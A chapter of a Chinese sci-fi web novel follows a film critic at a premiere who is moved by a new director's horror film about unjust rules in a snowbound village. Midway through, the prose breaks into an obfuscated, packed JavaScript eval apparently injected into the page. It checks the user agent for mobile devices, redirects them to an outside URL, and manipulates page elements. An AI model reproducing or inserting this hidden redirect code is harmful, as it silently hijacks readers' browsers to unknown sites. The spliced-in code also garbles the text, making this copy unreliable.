“不用去奢求谁的施舍，也不用去等待谁成神明。”
红底黑字的标语闪现在城市的各大屏幕上，忙碌奔走在城市里的人们抬起头，看到的就是这样一条简单的宣发。
没有漂亮浓郁的彩色海报，没有当红明星的精致脸庞。
只有这样单纯有力的一句话，却像是影片本身剖出了真心，献给对它感兴趣的每一个人。
“李姐早上好!您也来看新片子啦?”
刚下星舰的李明瑞走进放映厅，在过道处看到几个隐约有些印象的身影，礼貌微笑着点头回应。
穿过和她打招呼的一众粉丝，她走向自己的位置坐定。
放下公文包，合上眼睛闭目养神。
为了赶这个片子的首映礼，她刚结束联邦中央星一个冗长到无趣的会议，就立刻启程前往尼特星，一路上连觉都没怎么补，全是老搭档的狂轰滥炸。
来之前许文齐那是好一阵软磨硬泡，又是跟她打了包票，说这次的片子绝对优秀得出乎所有人的意料;又说导演是个奇才，思维想法相当前卫大胆。
“……”
她当影评员多年，还是第一次见老许这么激动推销的脸，连一直好好戴着的眼镜都被他甩歪了，跟着了道似的。
“嗯，草莓味疗养液，谢谢。”
她接过小机器人送来的饮料，放到了一边。
她也看过基本信息了，这是个乡村恐怖片，导演还是个没什么代表作的新人，也是看在许文齐的面子上，不然这种一猜就是村口枯井爬女鬼、村里寺庙出恶神的片子，是无论如何入不了她的眼的。
“啊开始了开始了，你快别说话了。”
不远处聊得热火朝天的小情侣突然安静下来，李明瑞抬起头，看向已经变得一片雪白的屏幕。
“今天我们来到的地方，是位于东部山区的一个山村。”
镜头逐渐拉进，抬高，游客四人跟着小女孩机械生硬的脚步往前走，雪地里印下一串串或深或浅的杂乱脚印。
放映厅的灯光彻底暗下，四周除了观众的呼吸声，只剩下屏幕上的风雪呼啸。
镜头跟随着导演和那个小女孩，穿过那条诡异的村路，进入那个由水泥铸成的“房屋分配中心”。
星际时代已经很少有这么落后的建筑了。
就算是贫民窟，也该在二十年前改造完了。
李明瑞推断这可能是发生在二十年前的故事，对逼真的仿古建筑还算满意，点头继续往下看。
不知何时，可能是在注视到断眉男人冰冷目光的时候，可能是小姑娘把导演推开只身扑向石头的时候，她原本放松靠在椅背上的身体，慢慢坐直了。
“……”
她该如何评价呢。
这里不是她想象中的那种，劣质特效堆砌的廉价恐怖场景。
反而更像是一种……冰冷的，粘稠的，仿佛村子里那场大雪般无情的，渗入骨髓的绝望感。
她看到跳房子的格子如同命运的无形囚笼，看到那个小小的骰子滚动落地，随意决定着他人的生死。
她看到村长那张扭曲的脸，听到他用最官方机械的语调，宣布一个有一个冷酷到恶毒的规则。
她看向那个明明一直都勇敢聪慧、最积极的导演，最后拿到了代表“厄运”的黑色石头。
“运气不好？仅仅只是运气不好?”李明瑞听到自己几乎是从牙缝里挤出这几个字，和离她不远处的观众席里，传来一声下意识的低骂重合在一起。
导演那句发问像是一把冰冷的解剖刀，剖开了所有被“命运”和“运气”这类词汇所粉饰的、血淋淋的系统性不公。
镜头切换，当小姑娘的母亲掀起裤脚，露出那枚被黑色符文死死捆在脚踝上的石头时，放映厅里响起一片压抑的、倒抽冷气的声音。
晃动的视野里，恍惚间，李明瑞也感觉自己的脚踝也传来一阵幻痛，像被某种毒蛇盯上，死死地束缚，啃咬。
远景里，一排排不同色块的房子林立起来，像某种扭曲斑驳的色彩画。
紧接着，又被人用白色的雾气和黑乎乎的规则条纹狠狠毁坏掉。
威胁山村村民的不是鬼怪，那是比鬼怪更可怕的东西——以规则为名、以私欲为目的的不公暴力。
导演露出那双琥珀般清透的眼睛，平静地分析出“那根本不是运气，只是骰子觉得我们合适”时，李明瑞猛地攥紧了手心，指甲深深嵌入皮肉里。
她身边那个一开始还和男朋友嘀嘀咕咕的女孩，此刻正死死抓着自己的胳膊，眼睛瞪得铜铃一般，里面全是愤怒的火光。
故事的高潮在所有人期盼又痛心的目光里来临。
数据洪流中，故事的记录者选择孤注一掷的奔跑，记忆碎片破碎着铺满前路，锋利如刀。
脚步声像一记记重锤，砸在每一个观众紧绷到震颤的心上。
当骊执最终推开那扇数据之门，镜头以她的第一视角对准罪恶的加害者时，整个放映厅落针可闻。
没有突然降临的神明。
没有幡然醒悟的加害者。
只有村民们为导演铸起一条坚固的道路，支撑着她终于有机会窥得恐怖的全貌。
“这才是我们该有的命运，”浑身是伤的导演喘着粗气，手却依然稳稳地抓住疯狂攻击她的骰子，咬死不松开，“这才是你该有的下场。”
仿生人的数据流如利剑，出鞘向掌心，劈开了规则与不公。
故事的最后，是村民们终于破除数据的桎梏，从数据流的世界里脱身，于阳光下重获新生。
他们刮掉了不同颜色的颜料，房子带着划痕，变回原本的样子，像一片片棕色的叶子，重获新生，落地生根。
片尾，覆盖村庄的风雪散去，涓涓融雪声取代了暴风的嘶吼。
即将上路的人背起行囊，与帮助她找回世界的导演拥抱告别。
她的背影在初生的阳光下拉得很长很长。
“……”
片尾曲响起，是一首空灵而充满力量的哼唱，仿佛穿越雪原的风。
不过风声这一次带来的不再是大雪将至的消息，因为飘向世界的不再是雪，是用勇气重塑后的、亮闪闪的光。
灯光亮起。
放映厅里，是长久的死寂。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16375996|184058||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>没有人起身，没有人说话。甚至没有人去拿那杯已经变凉的，水果口味的疗养液。
李明瑞坐在那里，想抬起手回复光脑上，闪烁着许文齐头像的不停震动的消息，却突然感觉脸上有点凉。
她抬手一摸，指尖上是一片湿润。
她不是为了悲伤而哭。
她是为了那种在极致绝望中迸发出的、近乎倔强的希望而哭。
为了导演的极致冷静下的温柔，为了小女孩一家的牺牲与坚守，为了那句“你不是一个人孤寂、因为我相信你从未离去”的承诺。
“啪……啪……”
不知是谁先开始的，零星的掌声响起。
下一秒，掌声如同积蓄能量成功的枪炮，终于冲破管口，瞬间席卷了整个放映厅。
越来越响，越来越密，像某种节奏剧烈的鼓点，夹杂着难以自抑的抽泣和激动的议论声。
“太…太厉害了……”旁边的女孩一边用力鼓掌一边对男友说，眼泪糊了满脸，“这是，是……”
她“是”了半天，找不到合适的词。
“是鼓励和誓言。”
李明瑞轻声接上了她的话，起身看向影厅。
她看到刚才还在吐槽新人导演的粉丝们，此刻脸上都带着和她一样的震撼与动容。
他们互相看着，眼神里传递着同一种信息：朋友们，我们刚刚共同经历了某种非凡的东西。
那个新人导演，骊执。
她的一部片子，不仅仅讲了一个好故事。
她撕开了麻木，将规则制定者所有虚伪的伪装解离开来。
她注入了愤怒，把赤裸的不公展示在阳光下，刺目到窒息。
最终，她又用一种冰冷深处渗出温暖的方式，缝合了希望。
哪怕对手是恐怖的规则本身，是践行不公的世界顶层，我们也仍有机会反抗。
或许，更深层的。
李明瑞点开震动着的光脑，给许文齐回了三个大拇指。
许文齐的激动背后，在于他看到了影片最底层的逻辑——
请用勇敢反抗不公，请不要放弃改变局面的星火。
哪怕属于尼特星的往昔是被联邦敲骨吸髓，只要还在勇敢，勇敢地保有自己对不公的反抗心，就还有机会爬出泥泞地，走向这个星球原本的结局。
她深吸一口气，手指飞快地操作，将自己影评人账号下刚刚写就的、倾注了所有激动与震撼的影评发了出去。标题只用了一句话：
【《当雪飘向你》：献给所有在寒冬中跋涉的你，一部重燃心火的壮烈史诗。】
做完这一切，她拿起那杯根本没动的疗养液，大步向外走去。
她要去见见许文齐。
不，不要先见他。
她要立刻马上下一秒，去联系那位骊执导演。
风声渐起，门外屏幕上的标语依然鲜红夺目：“不用去奢求谁的施舍，也不用去等待谁成神明。”
而现在，所有人仿佛都在这部影片里，看到了属于自己的“神明”——那是敢于直面暴风雪的夜晚里，将黑夜撕碎后迎来黎明的，凡人的身影。